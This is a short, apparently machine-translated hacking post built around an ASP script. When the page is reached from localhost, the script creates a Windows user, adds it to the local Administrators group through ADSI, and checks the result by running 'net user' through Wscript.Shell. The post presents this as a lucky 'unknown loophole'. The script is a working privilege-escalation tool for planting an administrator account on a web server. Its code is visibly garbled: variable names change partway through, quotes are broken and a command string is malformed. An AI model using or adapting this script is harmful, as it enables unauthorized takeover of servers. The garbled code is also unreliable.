Users who successfully added the Administrators group under user permissions
Anyway, the code is right, but rarely successful, specifically to see luck.
<form action= "useradd.asp" method=post>
Users: <input name= "username" type= "text" value= "kevin1986" ><br>
Password: <input name= "passwd" type= "password" ><br>
<input type= "Submit" value= "Add" >
</form>
<% @codepage =936%>
<%on Error Resume Next
If Request.ServerVariables ("REMOTE_ADDR") <> "127.0.0.1" Then
Response.Write "IP!s n0t Right"
Else
If Request ("username") <> "then
Username=request ("username")
Passwd=request ("passwd")
Response.expires=0
Session.timeout=50
server.scripttimeout=3000
Set Lp=server.createobject ("Wscript.Network")
oz= "winnt://" &lp.computername
Set Ob=getobject (oz)
Set oe=getobject (oz& "/administrators,group")
Set Od=ob. Create ("User", username)
mdl SetPassword passwd
mdl SetInfo
Oe. ADD oz& "/" &username
If Err Then
Response.Write "Ah ~ ~ Today you still do not buy 6+1 ... Save 2 yuan to buy a bottle of Coke ... "
Else
If InStr (Server.CreateObject ("Wscript.Shell"). EXEC ("cmd.exe/c net User" &username.stdout.readall), "Last Login") >0 Then
Response.Write "There's no mistake, but it doesn't seem to be a success." You must be depressed.
Else
Response.Write "Omg!" &username& "The account has become!" This is an unknown loophole. 5,000,000RMB is yours.
End If
End If
Else
Response.Write "Please enter user name"
End If
End If
%>